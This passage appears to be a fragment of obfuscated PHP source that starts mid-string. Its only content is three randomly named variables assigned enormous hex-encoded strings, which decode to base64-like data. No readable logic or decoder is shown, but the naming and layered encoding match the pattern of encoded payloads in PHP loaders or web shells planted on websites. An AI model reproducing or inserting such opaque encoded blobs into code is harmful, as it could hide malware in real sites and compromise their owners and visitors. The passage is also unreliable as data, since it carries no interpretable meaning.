f3132466759672d434c5161303231485a41776e6d5a4f6c6864374375594b6874384f6e47376a39414a4e346e73773867356751565978495a2d362d30377954495446435476345233785f5257705f385459654a4a4d445241336d6439596837796e70384b4f664f7338614f526478614758553867564d5f4d6738756f586a434f58685f5533514744344c656362714b4542544c77535939727132626d597047535552336c72624a6373354c2d466534446f51426a7a4a62585f4b5a335a56516e785f594d575034446e6f71523375564b32494f7875365f76454e7953585547616b6330786a484d4d655773396b7552335959463939373064514476627a516473724a4d7a467a39314d69777176635747737537507a43695046316f6837353971346937444c5a694441665142737163594f6d6234514b37715075514158715f5863473451343167617a2d545a6d6f54366e647563313446316e576f5076357137316c706b505065544b537378324135685237496b6b31743775626145536e717351686b506662697a3135384a5877526d4d4e6873667878343862656b6732715a6e755658436f6b50713262555971454c3539676a714f2d6156307479614c506b456b4a704e3979316948347a4e3948474a745f48515069574e6870383339496d75466d315a5459366e63754f3331784d7365644661354476594a3837365642'; $_ptrx17c3c = '784868774b747a6d52766562395056416b594c506e33675634535f676c7845304265375963374b6732536d484a796a455271545745482d796a463868794e5462454538677a4355593270574d61494348615034477739796530554534763059566759703342474f314655585f69667a3253314344562d32757630616639675a78375373777a466e2d34654d3350684f79596b4741574446424e5055382d55494c792d337163686d6e7243556162384c76505a46426875572d5956467a31556e4876785742664d517a30476b6e5f6174464f303637636f566c6a424971475650396b74445a5a55533557684166766a4d5344355f7065686761454f53325139664b797a6f4a6e5476734755323361573646356e375a324b4f756e594b6a423667756756706d653749693430486334556b5349515275595266676b6336395877717a69756e4248743471714452744b47467439345a546b584f7254584a68395f41504f7a7a6b31376935355544696762514247574737525a7865617136355879634f4c7965387838354868644f79635a54303732664d38756c62717557376f455a4c637676332d767878555646536744616a627836594f7734513061475062724a4c2d4f7365674f6f5142307132365a546a496c4a4b757a46784674477459635931313768655a4449504f75785a35683138553561665341344638593630475075625973346b4e466e5461456579416d63544470664869356e326c3756584a4967776f324244563377546a444f446f776356754a366435375962354c7664374273685051462d735a5143797072524b7a4c594f31375142456c7161746a726231536d7a3541524b2d46305538426d315a726a7367436e2d645a764a733057536c586d4653756450436577617a595842756f50376843343658414d5858777948454764443945396f4b2d68507753584f776b65487a304e6d56555a7a3374523768353542306b7233594e6233574a545139705f5769326d747447715f66787068674f494c6a4d7935307347394a344f3476374b376658564241504769345f3477575732734232436e735a42615a6e7966672d3970513349646e63337959494f664d3835574e7153336d36764a7971745f665f656a6e4f57646265544a724b705351704c5130614939317967727556545a674138413751714768684841617550464f49536b66425964496254504c544e5373582d6150796c786a5f7243344e646d4f315939795a735f6570474a6d7958716f427a4f364a2d7a4a445966634e363472474b33346449364b2d365956393162654e445246684d4a5f3770334e3864636b4f6d3669636d494e794642746a5043355859724568734761536b4c547741766933727955675957656c536842673064724846635846653659797a78746b7a6e73466d416646463736577371574e50443764367965316c5379624d444e646a5639734c706735556e3671304c4146633541646b6446445f6f477a59464d6c4549724c61456c64654971385a4f59742d593377764438525741745052744b5666444b584870344772682d6451486b42517a5a63795f33644e696777677a745837484c6a65766662724b7251654c4c48784b735279795a4f3153565f6e775654556e3273653776385173416e4f76584c4e52785958496348495a596e6c59364671615067546534336e50682d7a45476f396d3132766a71425a5f4c705178546a684c6d2d664168317a7075534e565034413555455643453037556949594a5747366b4f427a352d594f714f644b304f476b66575145795663684d42485962303139313338596e4e6b45567753356543456359316f686d6262474e634f46435172724f4b31614b4f486d6437416133774978787858464b4d6a4a384534483230306e49336431445256615744706c635878367071705f79717a7843624b78595a625843593558764a6d6579334734314e5070466438686e77486f633030596b6139483872585236566f5043714b6c55426d2d6c6d2d396b637567465979556f6c65316638324c4f57486675414834787845494a67696b69796446776671666f544a3348646f413434393058524f313556544c615f626341747a534d4848545851444a78794d6e4d4163344d4c6b5659486a706b696a3849625841617a553937624e5234744f615a50792d674964706a686535386e78385550734f776b70764e6977476a39783346486e3251304449344655326b556a2d4644656247774576626253714b6243436663413039456a31756c67566e69482d705f6e377a39615a6766396f465f5f2d497073644c544c3955546b7a43474a7149713739316241636275494e6679424f6e417831714d44383979763345783234476b314f546747775f514a556476466e686e5a6f76466931314d4652513239586d33716b61454c39476b6367383244583235395737346c546c39734974387a694343443356666e627775537254785a794f4c4e6846434c53632d766141747a333839484c6475315865426b5564644f5142785773704a6556306950366c38736b6c496c63615379486977335077667642643542397537564f73465a6551766353445335324937487835697a6671756e386b376a7a656a716f503839676f47543775585159616244393836764457567a4471717256684633776d612d425152724f53475168386c7375726f592d4530596c6c595a4d59355a3950586a76672d564f5868656d746c4966454e5258687134594e7472754a39626d7866446646445274446834727a3350354748664a6369596a345149764e3350452d686f514256322d32374e636959784e46666972535a565168413071422d355664474d444e766d5859746f4449356a437876655f4e2d5a4f5851594a735f3844786f3379455343616b674357704f455767743535706e64774932363862696e346d4a47546a37375634694562626f6a583659616e424e382d747a384c7a51474e6542374c7539305450756e474b4c6361435970504d4e4731674465527a5246383962353130364c644e4967563935332d6e4a35724a79775473723848536d4670485950482d795876537049717934573034534f5a39434531346f6b46525930666e6d6f664851544961716776313361367852744144646a5f70735831507866737a31476c6552654e56677761446c644e33617a614d67685357674958486357317461626d484c477a2d3173316b5157775641494853352d527a4f5078587569612d68616c424f6276623473326c765352637a4b4d6743414f43417a56564f354c31677a52595a65544b7357467145507a5330746e395452637a744c726e726850795a516e4d6451554b4250353154556f50677659506a6e794358587568776265694539696e462d3872713549565267465965304936634b5273643268637734345644356f4a6e523554535a4f54356e724b572d454479474e5547335335616a43535a565f345f466c324d6237624b6a55387a30456f47666147716649544e7853397a31493171617a5650424c62436b334359726e78636e414679385236354d75753759325634673235543776783869784958534f4a3137343872314e644e7542553872326845496f744a4b544f4651483678624c3845596c4657746e7546467a766645387251485f55353333794f7839436f58616f726758656470664743326f525570634a764b7a6d48474479477a585262635f2d325a4931646656316638457a6b64584e4969703577764a6c30637a73627053766f4b5630766d5258696f7959656c594768625873467350375a426464585157654335666b7539355f3330537751435947326c53574277744d6f34615f576a666b565845396b334c6a78642d6a715372382d6f46434a622d534a313932314e324d36482d396135366349427758695133474745354b476668514c7a5346475664494e6e6a314538456a35747a4c5f38435a4e336c494856794a33526a646a644b3071586b416d31414e6b6d58777533686f5a58686c44714b73765250304748536e75434f35544d4d706a4f7973724176436b324a4b526142426f674559714a58334b68446e4d56754b6e776d2d327a48377578366339476c5f326f323035444b66694d6763584179434a336869564f486757424254424a514c6e30316e355a306f4253315952534c77345349575236684738646272714a4f53444235456c574434744e6f6e33335169794f7461462d4333364f2d66304454754b73314646487030444d4551473776327535374d32715835345a644753584647674f46734a78794976482d7a727438304a5570505470496b6e6c625263465849374c2d724f75465f6b6d34474f6961464f6f7a372d665f42324b50454a416463383856796e4e64566b694e365858424e4d4271344d384b4d2d66667770702d50726a344f51587a6235436a47575a4e48714437534375346546456861676d514145387a65586343426d6c6c394964715958746f445572337a5068695853794d736730547350734e6f385131387445673555425f7547753456694470356469393959356156396b625065503844546f5334613670522d537033495a6b796a706b565a6d7a6e745a6a43734c78664f65677a416b3662784c64587a454f463545444b47494b46694271694f452d5265304c4f5f595471646a4842794a2d5a6f774c635a4479674a48766a537a393748677063695076544a766d434c57394d45382d6c682d70417358437a585a4b625f3668474a4755642d72464e343662494f4a584e6164524350544457554573434a626b6c534d5377464f33306e58524a5053387465696b78685332556c46657a553438556279685845674b706f7756316c7a6a676a43536b616c6f593069735f307a46766f7431626a55567a4b5063643742635a762d6732415a66564e366966344f416e57574c4b716e4e46504b7a56647a4b5f346e6c684c596768365a505a6b736e6b7450556b37544575595a694a672d6f546878574f506154742d54634d4f6c594849555f6c3576744f4a4d71786f71786f635349767a7072733149653466793154715572534958555233474a376a546d466a5871452d35364a4370474834323059764648676339626b664e45353663594e6e304831715269486479384e45396358436b5477447a713343416b3667575f56444f4f662d6e71494e7178686f426d58637948555665763941766a6d74492d5458577973707a6b704f64596d4574795a4f4e51313265613367336e544871586258783341346b6a4e3567366d55572d4e3563634c675a4f537651654a6f666e3268345a754b5a69796a617648654c563855596d54435763366348386978775858484a34714644546c6143724738614f6c715064784843566c7862444541746b39706e32487467454956305a5a7867777a556b566a58676b70456c4d47646d4f394a4d4e51754c30306f5f4664634e574a31516b545f613059585965575f396176305256635034464837716875304e637177375f4961467744346234656d704f5a5f53715a35544343347a456e715737554f6a6d6f323159757a665a667666687a3650444c6c377256756146586d6833736750467052455044747a3559326376716d632d70474c304c57587431635842314a44584c414854345a686769527834646d7a4c6c4e514a4e5a6131444b5f6f483946356451646b57546f745a4770796765315f7a3776777566344875656b56703875665147675f526177376842754c42355f7561513141644d775a50694f785557445546793977675f56776d474b65346774544276624d5131765f4b5a49734157703969762d3276304b5a75526d663074796576354d4162616c4d63504c317231634d6a364853504742704456424948676c39424661395a726b745f487853374845484d57625146746875323456354f7444574c4d4939363053674f6a34614d796a5073636c715835684443334264795272504951724b44657a636a3141594b33525a706457464e5737675a574b5432366771595f5762725644574839446a48545a347653445357784c5133795446546761434d74374b6a6e61316c70715842476c2d70576f576161796243526343617a513834436e666a444f514c315f4f5071344f62655f2d6b305a34684546757853614375484746344d702d3539335254744d4662556e43533744707844532d51516e6b58446f74566b78736b3456356f593753634c3769495047786c7568384843673458447a68554d6f473857784d78384d6e437a6c745258326751456876352d496430646a574d596f753779594135786f5a3143486c56446474577352597a577661593132544143476951714c6b617a786751494f7a4d7a77475a7472746d6438677566745876496f457a3541676b614d3268417074545f682d7a54676b6d6258793956774236444a313946613753695970306d70364c71362d5a555075454c6478493558307742475078694a684b4b78445f3348545464614472455a784f4b6d34546f65476368776776665f4a725a4353794b334b556a2d4e6648497955796b795f734736785271662d6773515857463473795a49685f516e49495476623656355a363047456669756938694771733668626750627a6579476a77766334595f377953632d49326857705231766f774564666a687666375155597231534744534b524f795662674d67325941714e6a59687332365f5a544e78717a6f4c6d3157455a6b785a547152474953707654524e4b6c6a47796c574173722d7137584c4f6b506478596b59725f7830356147317237736772666a5a4f71696c2d6b6239694a502d733938694575413063575874336b544f4551536e7a677170526876466c72564f3972392d574e6c656b75533639637949784d4372327364516f6c2d724148617172396b4d79746b49715079696530675566776d41686c59616c7a4b5054616975676f73446b556b3738466e5f6a465671543969637756777a6a79584f4c37666869325878764b5a577a773932594e654b76624a314934306e413177336d4f533066414f484a536b375754504f6a416f787771555f66492d6956745237343637496649576d525a6f66484f395073476e396f5a5a335f4c6a365a553075432d54776a7a57686c705158652d62415975536376556f417a325359374649675061457530724136694250436f47335835656f68446a5f555658786d5444325a752d6874416232716873574466393736487952584a4c6b4b704b65716c59696168724956455131467155625f3166476756455f3469513973566e4a34764461374f335135525a2d4a383956464550366664507862755a6f79774f4b55454e5f652d5556627761455f726d59503247535f2d5a3538644568574c66572d51455161385a715a2d303956467951625061476e39494946595a48514a436430326646456473517857386649536e764f76693033576676704c496b5736657265514e467075734772616f557042616f3269515663685273616767433869753744313644746b623057726a6e563757652d2d50386f2d5056636e466a656e4e30355537654e464375385562574e64566c767532665831496139703366726d785a4f6458634244666b55555733513365696c61796849564836654d524a386547704e68786169756c2d563757593047693279624f3479757158313872714253544f504a622d367a5a507557397374735938305349636d6657314d67376b4f7963476c2d70774333737944646564764271764346544d314234585f5550666d7237475176425f737579624f73705f337343355847744f594f6a695f706e47556153636677566a46445254357249326857307130566376355f43365376696a304a496449347135455967342d464349356e5a534e666c777968674e51434d6b507861614b444635734e646c6b524f57327236476666646e345453674d4c6b5f706d65384a6c684e32416c313457386b6f50667262674d61734538783068713349396b5637514348766e747039725048346b314e6d37723839764e717849774b765f6b6145783272734164322d4d746e784d7a76456b42776a43537975474b495a37555a485453614d744c5f7065454b6c6d584b376d386a495864734153497a5f6f6344457035624d58376a664f505859344a4670762d42786661675733745247584e467a62654335304b5736794c68584b73796d7530746b614c43415f5a714553645549306b4d39686b784e74685472746c2d677a30377a595746662d4152584c592d467764732d38305a5056753346682d556e4f4f4a704c374346775f7a32366d4f7732574e4766356b616471626b376f4b394c754b574a6352446f614d6156567a77326766753344466e7745444d6e314430645064546a482d4a52734742367358314b5f446338395849343564624f54747262636c30344c4c5746756649494a63686f4246774a473067542d426c454b4a38534f5a343263395135622d6e4969684d51576c38386759486c345330566e4f656e6630334c354c707855445655595a69762d346a4e6f6d697765557136736b6431643855687669477471425569533574655a64704c4a654e66697950454749683137536b574a32666559376336774c36492d2d7455436d6e743669756c47584c3538596f6e35635635674b45494c497a57704a635f613449796a376a5a43312d7a445246503156386c7533754e6a6f7831424537433562756d39744d544961336a39596d37494139753338706a464877724543705532573747445054437377304655533242746557514c625535415541483367382d374858797045564345647831376e32483570725233514854785269354c775f71545371465f72584b2d654d544a62467a614161556c5231676e3131773539446a3658744b564565704448464b5579456a6961364e74344d414a2d38687563616d46636c2d573248357562784973314d713456382d4779422d676337414a5051775339687641324b5977455a4976702d367039616e4b504a35614f694f5358526632302d4b703033524e68723636355f327953576446376e2d486871507435473454765534396446662d4d5a3938364253477242566b6656626e6649414c4930323964694b79754e7a72614c6b66684542616b42683343414844344451784776667535386c58386263594c55753879316c727448625f3750687535304161434437326a4266315059554b737332776b744d716141437934694a486a447774525a5f4875726c5945324567324d47446f4e394f4853676b414c5555734d375a3656356c4e544979364553654441584678626e79616d4a50764b6e5067366272522d57514c4a4137653348503051616363726b3779366453415a4e794c553375623356574a4a46696a5f734b526a335775377433386f58342d567a66727332703044304b676e4c68416c7655507532646b3667517562485a777968365770634e6c536c4e4636674a4a366264456258427a62643051426c365f596965467a6d70444c717072524731756d31514c54414763504f6470303272585f3679675a376d4470364278612d4a4c6a6e463752456c37425550545f57555f61363055755779674a5575564a305556536366576f6c6d65452d6336356856416c4f6a534d50484271763054743958474a7554665944506830697665376d64725439426a642d696f59626a4e4d785354695f336e355574375149722d5a656e7051567145613158695938675841443975416b39645676516b4c795f6537434d3558456e79316f38596d56696759643649316b38726676674c422d626e376a6c49645569625338416245444f4a463165656b79576c7a75527a593342526f6c45616834716e49616d3833644754347073727946587a30625870662d64586d53574f6f75465a5f434c654f423832712d37393545782d4b5058644c67356e4730385147563137556334646d6631427274723853484b4b78786936714b376b504e786f794e356c6f646c74744f5f4b35376876365a76575448632d384c6a48365447783868692d3079577a4a766c786350716d43753970317a4b4c725352646a4a5a46385a6c52547a484d6366466f53316154667859454f6c705a394b546f7a56544369714d4254516e72417052414b516c504d457147395a4b48667a48657a6e77766b73756242584d684338475850315736506d686e4c33477452715975616c477a4579624146596d4571333130624f576e5a75616a3957667a4936325453496a5f5750757a6735437756496d62704b414362505679457a6f784a3132714b583757702d436b2d6a4e3873527951366c71564c33326a354b524a6853533973334931'; $_rawxa486f = '4732533639356844744f385f59557a782d736450474e54614f65692d3577705277357765714e70664974616c666f7139575a346e4a4939426950392d68414a4949673045724b645165434161314773383846645f58376b305a2d3378726e4f5079716d4e503439777879624a2d3242676751654a544c6449735f6d46776866514a3555687744354a72497153727054454d566e57636769456a6a4f5130544d4f61715645544d4a476272334f373777364b415447622d64545f657630784863797a373866354c79494f5f4444776e455a5949544e6159346959316653534e644c36707978554a47345f534b79556355576d6d582d5a71357342636a5a362d644169316b484e632d6639765a50784352326d646c5964362d724c7279533979736768625034414854434d376f7244516b627a413757437579416d663930592d37364d75516d513174385173337661673163434e697555516b6e634a41594579685139545050584d7469396b4c4a4e63577a554a3539686d30443268326e51736334336a4155644a67476347394a705261594b5f664f354964414a326a2d346965444177764349556f656d66644e45566f5961453330386d444b4a71524a715544586166644a77645072736d7666536f736e4943347a624f786c4a7a5f79375457327032676c3637357548654d417635774955492d7957474a305a696a6746477234656e61497549514e787971706d677279667531623150767961734566577467546e6c35715550697932704f486c385f455878776e31654a5f416d485365587739374e696a34505743436e46614d70557852506b3541676c71734338646b70587a3039365f4a53775855382d6771732d6a77576d67574d47554b7770494451613474357366784b5737476d43516d396551464d437676356941594f34754d356562774b317076655344495a777936433156417a7a7334334b6d5375786b4738596c556f6c49594f58334c354438677259466a3279616c6d394a706756562d61435f4d58454f434a5a4c66425978724666383041764a716752516c424378517857663730544d5a7132797835554248785738327a75384d7638697468766576732d537a4479394d75364f434366314667306c3255696e73787748745861505454412d48315545746e736d774c74564b7870714833306b787051454263673971644c746b4664676a434975536a6445364f694d5449326575343445326b61317361583249695951386f5349634f795f4a336b58326978704f75575138696f74626c4b514966435033704e5a77796d54362d61567977474266736e6e5f684f46706464386b2d496b656b476f424a5165576932354b58575071776775527a6b686230414c6b7764304e5665616d35505a4f6d34654d5a5f7879774d556f30394b44344d4d31412d47537355524254613435636341577a726c39733838636c35507a5a65595f70444f6f634a4144742d384d58734977507a6f646f6c6639546f61326c7731614f4d4e30416164342d70796853653268745f6572796c57554c453631514b6b34773737503248544343474556704f727877394e694f525546667a6d304e32706f625a476359514737464f44766970497a432d6a654c6845414a573435736d6956442d576268597462476479465750424e566773435a375478306972737774417870516c4a7069637470756247455f59354d636e555664457474512d66317878706568733762767075527464773243334347304f636f78646d5f6c5f5466626c2d7a616f7455313756415432336b5f6874763455514d49694e467154584c766d4768694b59506430354139695a68434e32544967766574314c6d51723348793677424d5a626c30386864694943647941516b5349543365785274585852374354595258666a557934775f73346c416f7a6a645f756a794f55754f7a71746e4b72327856746265415569444d41547759713076556e66345a4f456b4d4c41713070783241465853364f77613463754b417366636776635a62366e2d596d6a3276713056636170685f396d56713672443256345f37525a4952796d51366a37423554705a4c5353623337716d7549586b386242554f484437546438484b3977436d46494a485572376d664f5a5a4264594d6d552d3844324762736d3851497962444f4c304872562d4446597471474c4c782d6e4d6f575a34755133355a533242636d633869394d6466346f6d7a7030456e334450744b4e6871486b46614a72757972412d6631615641486b33354c4c4a564a633036595452547242357653633349306b4c465f5764736c6c43616f444d756a33676f696c34514a6f634d35436b56645f3239325353445f46675f35486a4a69784638724833325f766e43426b6d73682d375642507454564c3673716a6f47546266324367776c415a5053354765776935417950446f6a4a695f6e5758394c6b436550393452644d7a363033784e302d676e6570584e38415f676c627947715f7569432d476445517a64476e6b47652d79562d716f4d6242683947796248514254536f486c503155463373574d495367685178446b7a5548676258327242776249556d415070324979434e41546b4b5174424a3343416c716a33716e456669654a5a6c534e56574b4d554f437449435878584a7758516b5f6c383346423168482d52386f532d544b7845524a77394b45597171516b4562684d61493770725a45693262584c61626a38495648553859564c375568737153734564724875675f6748746147787052437830443641666e614639386344667a456e4a5a715f6757356f624a6965335f3635555364736473485659363052317545506a4f3878765946365341484e5f62713130354836527a4b53654879527748465a4e39336e4e5863544a5069722d3764647a5a53426b6d47385376324b34476c723949394374784f7472564964456c6c4d364b46487569303477586c7357657574416d5f5056484739503154736d38657156686a744372447169784d76624a6c345a3278754d765366594a713854536c6463337259496b486747487a67596f6d375a47587777786e592d675558654e7349423155335134616a33596f726d373775357a71746478663045325639684b58597272663367496265473878746134354849436d69696a5f7a78775a484f704863456d6f6466574f63303756654c74726e464266324b743964356a564c4c37542d44324e6e4e683358326554676b35656c4c615137714b4275535879646d59344d42573975653263727378416341737179492d4766505a75506c4e703739792d726342596b49586a6b417844674971744f4a323631664a78536e786d593148466c644a4a2d365a436551796c644a433646556550434a663964673369354a38636c303076396b6677527156434c356761327249417536784649794562446b6e7648486a6e4b55632d315879394a4937754359665363395349313847546d2d4363666553664d5562384530744c4e3872524a6f62427074726e53723343413859584d2d3573714650774c30687638686c2d6964657a30576c792d477a394b79317256695f334c6a38793179726d38304845443568494176565a2d79796f514d6a6e4673617954416e4e786d2d5561773476664d564d31674b387964324c66513843384c32685541673979516534676c486c54634e6a3459333952306242617535594243415a62637861536d70546b6147757178396133576d784a7670437678412d5f566c48314a716d37556669593639785a4d30435674705950526271374a345074425641705f7057356a4571464a54775037476967595a4e77655a774a6637345a515559445561766549483356314f76634231724666315447674867387a38794e7736764561434f757730476937523838437655594e4268446358727546515450316165786d52574a6a3066344277392d734966397067472d377a42684f44506c7173507662694a537479374e2d39726e46324751794f53363255627a46776d61686171646141387431446c754c68584c61436b4f6c2d53347072786d784c63624359344a5676304d4a3944477149646a5153685a774332786b38444d61716961414c5a6b563865706d6f5f696c3030337a74536534306b643957756261614e68727965596a556e67776676544461534663514174423446547033723953384e635354494a4a6a4a6b34713378637953476a617a5950744a64725a55366d6370585239547359375f4679506a4e4c716948696a7145595033675a33675f715065714c3164333779345a64315972376d776c354867644c3235414f726b7844563878786d787371556a7278523044687275614933576c6666646b73777336625631664f455a72386d6e4e756550486b51383170756274427659753161355a494454776f3679335230504b574b70776f744951384d636836643547446c6e687941735542656479573930354d736a74636239454f6b514a364a39343035765a306f6f446e4f7275485843626251383944646757624d4f4a4f7575636a4f786544334430795234556d69453852514b6864567049535a42776737446f2d4e6971624953776848634a744d3137395831357836365f36365073526e684763596a464b47654c58375437466130686d4d63347655574b6c70314e61644a356771736549646757414c55544d633241784c69474a326733617a63795667425232576c553631745a7a667238435957434d4c4965704c364462395a5a694b61785f475a4a5155767a6f4f773236316638706957483238356274455841356d6931516d71797a6362554a3372717131624c44684465355755346178577a5433434d55475a5544724b4d7a3638793567736130786377625f636a48514c52586a754c4a63754b4d2d61712d38484e5663714449486b58725272794f5148415573636c475366596c58636572686239614463693677696c38574a4a50467a5538445932534a7544434d3449533048704846344f59497748446b77586a68464a7a374a7972496576665037634c6b6344487a4557426865454648716a51424b3368345531665637456a34524a4e313458584a3838666372514c7a506156653932534c576b766937546e3152515767326a7073496b4239545865707251736132375034416a6d617a734a5a7758545267334e6a43334e5152536a37492d53384c306451534d5a73494f7653625466634b527253665768594458576d3434517a724739663555336b4250304f5164705a37677435306a6974684b2d50415556637361324a524b447a444835676d66687a766f47777a6e5078415473766541356d556e3938473062496a692d453751553735716f556f353757546532454f4b4974527254735a75565a306b314f4335754d6c75466655744459536f4f694738396871575f796a51545866703438726858544f4475327855596c37626d536436757345307635374633524a3573374c42506b324b416e45714a78726d4c787265795f7433567152623950775f75354e68416531334c42695375496b3546657a49724b426d5157385a5871636d654433536b4d5239474a546536494c324c5f5956504c38516947744f743557503564694f63676471696948347436474e63477a6d746c57585a4834543335337958417752457a4530615856463768612d3455624259777859447651526b5642346d6e32686450735145494d58377456375656744e475832724773646c494a574e78726630396d5f586d70764d58676535725934626f445779344c713831523668586a6f70386b424a4349434b7943505f5030304f4446675a33637265334976356848384c386d6f5349425668396d6679666556564a484253472d4261356e316d6d4377774246623748673162424f55476d4d4e6d4e57393943624263446c7861724f7238787449544d39684f4239794a6364593657734158525a5870746549675f324b7245576c685a705a69756c6c643752614e36663967465135534d344b73387065534d41576f33694b5845685875536e383051355834474e53686e5a3935476b53365959306d2d73634f536259676e6737374547306f45726e4353786e6937416e58467a317530462d417a455a64416d5376366f45574c506d735276414f682d5550744d5847552d4a5948756b39642d5f4a796456484959696a39304e43546d6f4b37752d44342d5042586d626c6d2d3355545764376c5671776e3467494c53526735734475524c314839476a6a306442654872696f5038393834667a4f4a37647752626f7178796b7153726133434944346556673656595550786e6f4a4964727077635a586b475a67307355776f4e5a786746596d44454551617939472d6654314f746669656f6c3639497446754d4146307363684b57427652533171754c2d42564945564f64654b43557442656253484a787755432d794f3630747744493551754856576236596a6447737147532d62437575624438685276626d38376c5644765a6a536367736b7045586e4d7037566865635a4957316e47713136497061786a31565632684e51614d4b464f734155436442796846594c48415a434f396478424d367632567545785374523672727176383374304f614c3241694d777a466767786470344e2d645652306f346d3969587a505a367664524d6a5a59795a6f4a2d4d5155703145686764326e5475375548734e70316331736850615a527056665f41563761525834316f656d3830786866762d4b46472d32567571556163316e716e594774664f4d6b375869374f55576a4d3636644167686432455a46485167504e5a574834687a516a4a2d586677514c596263476a596f3033443032385478506f4f4945726477555237586c3231633679304d4b4c424f6a666a34317034316c4b75423148775a776b5a4e4c536f2d464341695431596c78313930337768634959664551546b5145567542656832304f673249485a6d447a696e54723368352d497a474b737343414a4e447243636d38583975336f515a5f63617163313764444f356655325561467748512d7058396b32722d505167704830384250425f4f3144324a2d796b696d4a314e352d5658733176434946576e464d554b7674664e4f50667a58387661713753654769623839614e6a30324b6736682d396834633130394d416b344b4c41506d466a65617777703356626f45687742566c3550784d537851466f743637684d6245713142426f3051773231687643304b7430616755696f366670747449455569657a6f736d6e56644a48632d61734b564e55396654774179586442555a316b3138306845546c38493166417531575061525a736545724b7875717965355261786776536c47337a57733667315547704b6c7a4364595a464e354c55746c37797679494d4951705043696b687653685336707134444757714362686a68727363644f4e65747a4337676f4752394b3839335a5a2d2d564f52304a70544f344f715144493142696875546e756b4a4d4b43553335634e4664414c78424f56574768716f4a5f4d717a544e57644f50765f7a7634495648777a30436939485544684c63754b7a7556656b794f4d366b374c506551646e66676a6441654878767437636f71416a6e465430513165676f735f4e6d355075673949324f327a4b7a7856625a4a6747623557364848676c536c6452746b6f56523569616637673859727639684830586b4e4d726f4270633668573245774a664c4275302d4976704c674a536f665774625043794d336d32703432734f58384d6c6e5256524e6a6e7341462d5a4a4d5648774d474a567035686c635545612d4d36474b5744686a396f4970676343782d656455397764596a4958785a45546c57534e58503349316143626a766b5236766165626835564841484c7a6266465178364f495858644366616b5f4874715267766d37493631654f4d714b463238664848534c374c6c52362d41546b494d414532624838524d576163736d6c367342766a7851475869734d464c4b325a6937676331496a62794e5a3071654873394a4f627868465f6e453645583549415954365876725f4158745843593731477633506c2d4833416c776b46676651785055746c4957785f59336e347733757652674e583339525649586b727565644b733356464441477249756735386e706b535454634f356d7275756f7a51565f695135556b54576152662d3767346f4b356d525f4251324f7036566e4a3859692d55776c523052553162496b754b504562617146495545594d634c436f35677334357978572d6f655f6c49654e48506c3667394336385366304456363236365531745774616f784b5168724b78394267686776345f4a31414431494b6855674a656b34337a495f414e62436241427345377632386b744c506c31744343592d4178483342766c50325a4a5a6a4e366b777846452d486c7a68737677374a4d3555323234654647756d6352377a5977787566316f64766e5f35596b56576b424c597144435f77454657494364546679713843564d54335f3556556a6c786c336c424f5a422d3479796d4f576b78314b37506e4e4f32727575524b467a556b55316a627376443437487151425053376f4a3977484365515a4b31592d5158746f35776b567941686c636a70764e6c6b5a347676634a4f4e4a7675547458746e396f6d44496c49507670484d7452625677567833695f6f63417a706d4751516e70775a765346726e59736f35625375536d6d6e43646f32434c544231446b6a705f316c4179364b7a316354667376674b416d6334434e7938756b46777570323748423364467158536c7170476d47424a65395764306b6c666c3637436355723955354c4f7532686c5a797967555046756b424b6f4d374971625777676569424b623233786c6f655f7136366a4c4b5f39584b573139344a4241617a3963386f376870426662505573513270305a524a68684277587477445f4e3245646e6a614d4735436e632d454961363631315a37564645436c64535069415a654733366a35644e382d506c5f6b75534930793646325f6131464d323076307777445f394a43477444683137355f5963684c584f4f334131365a377541507a697831334a3867704e5535736c6a616971574268684a7339377062466752464f6c6f387132573368585555535f715845374f62655432325a33716e594e65676e34355a64767933514d7769744b526c557053553333373944762d455735462d41696a714f58365467314e32575a6a4e664979776669427379644a724c7262576976334a6c664562545f423472665a78566742342d4244434e76466a7737414e3961616563634343745335327971654b314f47386468645146684774736b534a486230556468644d6d6c31746a6f5239376a623835645a562d414d41304d586650446e3672333358644a70304d6a6d70765f3174426a52563967475233353374354e54326358434d4e426b574f7a306c3832664476387956396d4f41595a79584559346b4f46706e48354e616c702d4b3542566f544c46376b68704753384352485142774f52475663643257366631726d677536647445497032626847325a79534e4b71527a6f574b695370635f3176474d6b6e304737344b6e414a6c704f4438387372415650355f6877596b796d6e39446361724e436b2d634d364632797a3059644c464a662d686b5759424f5f4a4666544931426c39336e4e6d4c69545562387033577946474730424d736b637644595a56502d37524b41493148477134735a324a6a6a6c45564941476f4f474b3033676333693362537962504541706173694c5a544878635a323731716c546a66507266564a4e7a49326c66544c7542794241535a71765f76325273746e63583771533334747443345865724b7047384e58546954414c707877754c775a694e716878706b546e633046677342346d487a53674d7634776b714d39506149574668397a334a53663678776276687330777838577a4a30525a704b4931726b4c516c705051506c7a65545565653674626749565a674f564a2d454d456a43317273594d74764e4b414d4f686f346762374f796d596f67354e676b637859727534657133567a4a53374b352d334b785436476a72736f77564e5158664c503773356b654c52746a51726569676b666632484d3335534a65494d3158655278355346674944663277323858674d52465434464b6739344367566130714347532d4666384d63663665735f3830433732787a6b59765a6c6a544c37594177655a7334474e50382d77686c316c4161465162596d6c6d454d35546e365867436775734951727637365678'; $_srcx270ce = '6b4b764842703758414c39672d6f487037425674683779514b48506f7747614d4446655a63736e3756356e7a4e57794e6c686f6553785041674e6b65434f36735833446c43725f3751467834585267713561726b7075694630654376386256794749756756633330574d51306d496f7344397844723539757855306b4462315875794568697665525874626a656b64722d4e4153786159467a6269436c6a7938624553306d797058526749455675394a566742486e4b6f6e626d493532476b544d6e6d5f503336777753506973757679582d6e386e565f3355764d6a444d4b496c4b386663385434425a506e76527955746d74594b4b56396d785a684a42776e54774979455848456b7931457671413442374f6d49316a6f476d7664583258734b502d76546e6541326a2d2d3052555248776d6b727a4f336f774d396f536176585637436374315778755659544e37553059624761536a4d55392d6f2d6975676e46555530736f2d364762554479565152316d714131314d4e55546738355847444d366c7267774247314364462d654e76713532586a394d49647037664c58424c53554146322d6e526f4f30734e70786e452d525872396d55736370647545784a655468706c6746574362756d6a72617a6375634a7878337248715a493330576b576562432d6a6a776c322d61325537636255386b73736f4d396f4f546c6f4b565058464343495676554b6d37495476314943474b377477557975696b5378476f346271676e5a4a594265456968786e4274456a6b526772514359623871784b446a5549686559616c382d3445417563506e433573645038525134307143397a5944646656497350557531573532444167506c4164574c4d6c5956646a585a6a61484b4530375f647a635a6634635058336f2d534e68744c48303956394e57557564464b48303954523948674d4d4c7946705f7169566d584f684441733744413177423157416350454f5a52755a57696a6a76465354694d3362714a5a634c77376e727351635465703130516c2d5f414c746a4e454f5f64374e6431426142585543416a4774467074476b4745366a616a4378596572676967495435545a584c377a6a447a44533341363237424a4a636c4631334644583376795148664d59394b6d34514d4272446f56336b5646446f4d4d